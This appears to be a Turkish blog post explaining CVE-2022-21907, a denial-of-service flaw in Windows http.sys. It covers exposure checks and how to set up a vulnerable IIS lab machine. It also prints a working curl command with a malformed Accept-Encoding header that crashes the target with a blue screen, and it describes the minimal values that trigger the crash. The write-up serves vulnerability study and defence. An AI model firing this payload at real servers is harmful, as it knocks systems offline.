CVE-2022-21907 HTTP DOS Güvenlik Açığı Nedir ?
Son zamanlarda, Microsoft Windows HTTP protokol stack için bir CVE (Ortak Zayıflık ve Pozisyon) kamuoyuna açıklandı. Uzaktan, kimlik doğrulamasız bir saldırganın sistemi tamamen ele geçirmesine neden olabileceği etkilenen çeşitli Windows sürümleri bulunmaktadır, bunlar arasında yeni Windows 11 İşletim Sistemi de bulunmaktadır (ARM64 ve x64 tabanlı sistemler).
Bu zafiyetin nasıl kullanılabileceğini gösteren bir PoC (Kavram Kanıtı) zaten kamuoyunda mevcut, bu da sistemi çökertmek (Windows Blue Screen of Death) için nasıl kullanılabileceğini gösteriyor. Tek bir saldırı iterasyonu ile Windows cihazı yeniden başlatılacak ve normal olarak çalışacaktır, ancak sürekli saldırı, Hizmet Reddi (DoS) koşullarına yol açabilir.
Savunmasız mısınız?
İyi haber, bu zafiyeti sömürmek için yerine getirilmesi gereken birkaç gereksinim bulunmasıdır:
Windows için temel HTTP motoru olan http.sys, Microsoft Internet Information Services (IIS) ve diğerleri gibi hizmetler tarafından kullanılmalıdır. Bu hizmetin bilgisayarınızda yüklü olup olmadığını, PowerShell / CMD penceresinde aşağıdaki komutu çalıştırarak kontrol edebilirsiniz:
netsh http show servicestate.
Bu tür bir hizmet çalışıyorsa, aşağıdaki resimde görüldüğü gibi bazı girişleri göreceksiniz, ardından bir sonraki gereksinimi kontrol edin.
EnableTrailerSupport (burada trailer'lar hakkında daha fazla bilgi bulabilirsiniz) kayıt değeri aracılığıyla HTTP Trailer Desteği etkinleştirilmeli ve 0'dan farklı bir değere ayarlanmalıdır. Bu kayıt değerinin varlığı, burada belirtilen PowerShell tek satırlarını çalıştırarak kontrol edilebilir ve düzeltilerek sağlanabilir.
Saldırı Eylemi ve Hedefi Yapılandırma
Saldırıya duyarlı bir Windows makinesine ihtiyacımız var. Bizim test ettiğimiz makine, Windows 10 21H1 Build 19043'e sahip bir Sanal makinedir.
Şimdi, http.sys programını kullanan bir servise ihtiyacımız var, örneğin IIS. IIS'i buradan indirin ve kurun.
IIS'i etkinleştirmek için, Kontrol Paneli'ni seçin > Programlar ve Özellikler > Windows Özelliklerini Aç veya Kapat > IIS'i işaretleyin ve ardından Dünya Çapında Web Hizmetleri onay kutusunu seçin. IIS'i etkinleştirmek için Tamam'ı seçin.
Registry Düzenleyici'ni açın. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HTTP\Parameters dizinine gidin ve Parameters'a yeni bir kayıt değeri ekleyin (İkinci resme başvurun). 'EnableTrailerSupport' adında ve değerini 'dword:00000001' olarak değiştirin.
Makine artık CVE-2022-21907'ye karşı savunmasız şekilde yapılandırılmıştır.
Aynı ağdaki farklı bir makineden (bizim durumumuzda Ubuntu 18), curl (istek göndermek için kullanılan bir araç) kullanarak HTTP isteği gönderin (POC'dan alınan accept encoding değeri) (hedef makinenin IP adresiyle $WINDOWS_IP'yi değiştirin).
curl $WINDOWS_IP:80 -sH "Accept-encoding: AAAAAAAAAAAAAAAAAAAAAAAA,BBBBBBcccACCCACACATTATTATAASDFADFAFSDDAHJSKSKKSKKSKJHHSHHHAY&AU&SISODDJJDJJDJJJDJJSUS,RRARRARYYYATTATTTTATTATTATSHHSGGUGFURYTIUHSLKJLKJMNLSJLJLJSLJJLJLKJHJVHGF,TTYCTCTTTCGFDSGAHDTUYGKJHJLKJHGFUTYREYUTIYOUPIOOLPLMKNLIJOPKOLPKOPJLKOP,OOOAOAOOOAOOAOOOAOOOAOOOAOO,****************************, *, ,"
Gönderilen gerçek HTTP isteğini görmek için Wireshark gibi bir trafik yakalama aracı kurun. Aşağıdaki resim, Wireshark tarafından yakalanan isteği göstermektedir. Zararlı Accept-encoding başlık değeri net bir şekilde görülebilir.
Windows'un Mavi Ekranını (BSoD) gözlemleyin, bu da saldırımızın başarılı olduğu anlamına gelir.
Accept-Encoding değeri üzerinde denemeler yaptığımızda, zafiyeti tetikleyebilen en düşük Accept-Encoding değerinin aşağıdaki değerlere sahip olduğunu gözlemledik (her ikisi de gereklidir):
En az bir bilinmeyen/geçersiz kodlama değeri ve abbc veya abb*c gibi rastgele bir şeyin bulunması gerekmektedir.
En az iki boşluk/doldurulmuş değerin sonunda bulunması gerekmektedir.
Bu nedenle, aşağıdaki gibi bir dize zafiyeti tetikleyebilir:
Bu darbe, saldırganların ağınıza karşı kullanabileceği birçok saldırı varyasyonunu içermektedir.
Kaynaklarım :
keysigh
CVE - CVE-2022-21907 • Internet Storm Center Diary 2023-10-18 - SANS Internet Storm Center • Security Update Guide - Microsoft Security Response Center • https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907\ • https://github.com/antx-code/CVE-2022-21907\ • A Quick CVE-2022-21907 FAQ - SANS Internet Storm Center
keysigh
CVE - CVE-2022-21907 • Internet Storm Center Diary 2023-10-18 - SANS Internet Storm Center • Security Update Guide - Microsoft Security Response Center • https://github.com/nu11secur1ty/Windows10Exploits/tree/master/2022/CVE-2022-21907\ • https://github.com/antx-code/CVE-2022-21907\ • A Quick CVE-2022-21907 FAQ - SANS Internet Storm Center
Son düzenleme: